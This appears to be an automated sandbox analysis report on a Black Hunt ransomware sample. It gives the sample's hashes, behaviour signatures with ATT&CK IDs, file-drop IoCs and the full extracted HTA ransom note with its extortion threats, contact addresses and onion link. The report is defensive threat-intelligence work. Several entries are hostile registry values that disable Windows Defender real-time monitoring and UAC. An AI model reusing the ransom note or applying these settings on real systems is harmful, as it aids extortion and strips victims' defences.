15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:36

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General

Target

15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
Size

707KB
MD5

94c266c6f9adcb35e500cc02c19e061b
SHA1

fdcba21b5af3084b857565fd5c6f4937367c7924
SHA256

15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb
SHA512

7b4fa2fef9018f6e0a03e8d8665d4c0d9e369d2f90101e3dd2db99e1b9026660991dffa7b41d476c6f27acc80321b34e1ac12365edcf844a6a6a3b3bd5a64bfe
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza148Ovnh:6uaTmkZJ+naie5OTamgEoKxLWrQh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 0GPxXurD4thrOQ6f </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1944	fsutil.exe
688	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2852	wevtutil.exe
2468	wevtutil.exe
3020	wevtutil.exe
1668	wevtutil.exe
580	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1132	bcdedit.exe
752	bcdedit.exe
1988	bcdedit.exe
2412	bcdedit.exe

Renames multiple (2933) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2660	wbadmin.exe
1720	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2572	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\T:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\O:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\U:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\I:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\K:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\S:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\G:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\H:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\X:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\B:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\M:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\P:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\A:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\L:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\N:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\E:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\R:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\J:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\V:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened (read-only)	\??\Y:	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\SPPlugins\#BlackHunt_ReadMe.hta	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santarem	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\plugin.xml	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\RedoRead.pcx	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Maceio	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_Private.key	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder_5.5.0.165303.jar	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Danmarkshavn	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\#BlackHunt_Private.key	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\custom.lua	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\asl-v20.txt	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\epl-v10.html	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\#BlackHunt_Private.key	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Title_Page_Ref.wmv	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\header-background.png	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Azores	15e56b5272a869183b20a31f0ad3ce5e83c51f03e300ef5813ab36fa5e79b8bb.exe
